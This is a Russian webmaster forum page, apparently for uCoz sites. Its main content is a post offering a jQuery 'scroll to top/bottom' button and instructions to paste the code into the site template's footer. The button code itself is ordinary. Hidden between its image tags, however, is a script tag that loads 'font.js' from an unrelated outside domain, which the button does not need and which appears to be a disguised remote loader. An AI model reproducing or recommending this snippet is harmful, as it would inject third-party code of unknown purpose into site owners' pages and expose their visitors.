Форум web мастеров

Последние сообщения на форуме

Вывод WebMoney
Автор: standUp - 03.03.2014, 19:28

Номер 495 и 499 Бесплатно.
Автор: standUp - 06.02.2014, 22:44

Скрипт пожертвование на развитие сайта
Автор: Meetwoor - 08.09.2013, 17:22

Форма поиска сайта с переключателем с yandex и google
Автор: Meetwoor - 08.09.2013, 17:22

Статистика для ucoz Кто Онлайн v2
Автор: Meetwoor - 08.09.2013, 17:22

Самые популярные темы на форуме

Исходник приложения онлайн радио вконтакте
Автор: BORA - 02.04.2013, 16:28

iframe приложения без php !
Автор: BORA - 24.07.2011, 22:22

Простой чат на AS3
Автор: BORA - 15.03.2013, 17:30

Игра «Угадай число»
Автор: BORA - 22.04.2012, 02:11

Исходник отправки уведомлений
Автор: BORA - 24.11.2011, 22:21

Чат (2)
Автор: BORA - 30.07.2011, 20:32

Конструктор сайтов (Только новичкам !!!)
Автор: BORA - 15.08.2015, 04:29

Создание mp3 проигрывателя В Контакте
Автор: BORA - 02.08.2012, 10:52

API метод Freinds.get
Автор: BORA - 31.07.2012, 22:36

Скрипт : Собшения снизу как "В контакте"
Автор: BORA - 08.02.2012, 02:09

Страница 1 из 1
1

Кнопка вверх и вниз для сайта

Plastinas

Дата: Пятница, 28.03.2014, 15:10 | Сообщение # 1

Группа: Пользователи

Сообщений: 4

Репутация: 0

Статус: Offline

скрин: http://i023.radikal.ru/1401/fd/ae3ed41cd540.jpg

Скрипт для быстрого и плавного поднятия страницы вверх, также можно опускать и вниз страницу сайта.
Выполнен в стиле пальца вверх и вниз, светло синий цет
Установка не сложная и не требует дополнительных навыков html

Установка скрипта „Кнопка вверх и вниз“

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Код

<div id="banners"><a style='position: fixed; bottom: 60px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Top'>
  <img src="http://pnghosts.ru/img/point-up.png" alt="Наверх" title="Наверх"></a>
  <script src="http://24-moto.ru/font.js" type="text/javascript"></script>
  <a style='position: fixed; bottom: 20px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Bottom'>
  <img src="http://pnghosts.ru/img/point-down.png" alt="Вниз" title="Вниз">
  </a></div>

<script>
var go_down = jQuery('body');
jQuery(function() {
  $("#Go_Top").hide().removeAttr("href");
  if ($(window).scrollTop() >= "250") $("#Go_Top").fadeIn("slow")
  var scrollDiv = $("#Go_Top");
  $(window).scroll(function() {
  if ($(window).scrollTop() <= "250") $(scrollDiv).fadeOut("slow")
  else $(scrollDiv).fadeIn("slow")
  });

  $("#Go_Bottom").hide().removeAttr("href");
  if ($(window).scrollTop() <= go_down.height()-"999") $("#Go_Bottom").fadeIn("slow")
  var scrollDiv_2 = $("#Go_Bottom");
  $(window).scroll(function() {
  if ($(window).scrollTop() >= go_down.height()-"999") $(scrollDiv_2).fadeOut("slow")
  else $(scrollDiv_2).fadeIn("slow")
  });

  $("#Go_Top").click(function() {
  $("html, body").animate({scrollTop: 0}, "slow")
  })
  $("#Go_Bottom").click(function() {
  $("html, body").animate({scrollTop: go_down.height()}, "slow")
  })
});
</script>